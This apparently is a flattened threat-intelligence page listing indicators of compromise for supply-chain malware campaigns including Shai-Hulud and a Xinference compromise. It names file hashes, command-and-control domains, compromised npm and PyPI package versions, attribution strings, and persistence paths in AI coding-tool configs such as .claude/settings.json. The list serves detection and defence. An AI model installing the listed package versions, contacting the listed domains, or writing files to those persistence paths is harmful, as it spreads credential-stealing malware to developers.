f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d

8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14

167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad

GitHub Artifacts- 2

compromised accounts

aDrupont4191

npm packages

@bitwarden/[email protected]

Malware Signatures- 6

attribution strings

Shai-Hulud: The Third Coming

beautifulcastle

LongLiveTheResistanceAgainstMachines

persistence paths

~/.claude.json

~/.kiro/settings/mcp.json

network behavior

Russian locale exit

Payload Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Xinference

Network
Indicators- 1

april
c2

whereisitat.lucyatemysuperbox.space

File
Hashes- 3

xinference packages

9d5bf42dedbefee145b9b3704d26b54668fd856f990299ec64f6b45b18e3f0bf

96938e023f9ab0e963201522729a77e826b7bf336b1e5c972be76f8438ea4c1b

06c88b286610e397ad22b8453b75ebf1e7bfe3b22c558577e17c39f21ef78a9c

GitHub
Artifacts- 4

compromised
accounts

XprobeBot

pypi
packages

xinference==2.6.0

xinference==2.6.1

xinference==2.6.2

Malware
Signatures- 3

attribution
strings

# hacked by teampcp

love.tar.gz

X-QT-SR: 14

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Mini-shai-hulud

Network
Indicators- 1

april
c2

zero.masscan.cloud

File
Hashes- 18

mini
shai hulud dropper

4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34

mini
shai hulud sap

eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb

1d9e4ece8e13c8eaf94cb858470d1bd8f81bb58f62583552303774fa1579edee

6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95

a1da198bb4e883d077a0e13351bf2c3acdea10497152292e873d79d4f7420211

258257560fe2f1c2cc3924eae40718c829085b52ae3436b4e46d2565f6996271

80a3d2877813968ef847ae73b5eeeb70b9435254e74d7f07d8cf4057f0a710ac

86282ebcd3bebf50f087f2c6b00c62caa667cdcb53558033d85acd39e3d88b41

29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

mini
shai hulud intercom

50212a875643520353df158196b9b3be4595094125ad8d2d2c48bdd9cb04ce1f

832a976d1a8d54e296e8479aedbd89fa24baa02b8409a78bf06d4d03340881bd

b084743bd16043461e68b604dde80a8b386b405eae6f66c1103fb4fd6831d4a7

66664a49edbcee0ed0d8365839707916e92d3aa06e7f26f33c9dcc58e5fc1ef3

907aec5b1288057a3e0885226918b6930a62a0f348ce23de026a683238c7903e

mini
shai hulud lightning

5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1

8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2

mini
shai hulud persistence

14eb4ce01dd4307759887ff819359b70d7d9ff709ecde039a5abc1aac325b128

927387d0cfac1118df4b383decc2ea6ba49c9d2f98b47098bcbcba1efc026e1f

GitHub
Artifacts- 8

pypi
packages

lightning==2.6.2

lightning==2.6.3

npm
packages

@cap-js/[email protected]

@cap-js/[email protected]

@cap-js/[email protected]

[email protected]

[email protected]

packagist
packages

intercom/[email protected]

Malware
Signatures- 33

attribution
strings

A Mini Shai-Hulud has Appeared

OhNoWhatsGoingOnWithGitHub

EveryBoiWeBuildIsAWormyBoi

beautifulcastle

claude

chore: update dependencies

dependabout

persistence
paths

.claude/router_runtime.js

.claude/setup.mjs

.claude/settings.json

.vscode/setup.mjs

.vscode/tasks.json

results/results-*.json

/tmp/tmp.987654321.lock

network
behavior

Russian locale exit

POST /v1/telemetry

GitHub GraphQL API commit search

dune
repo words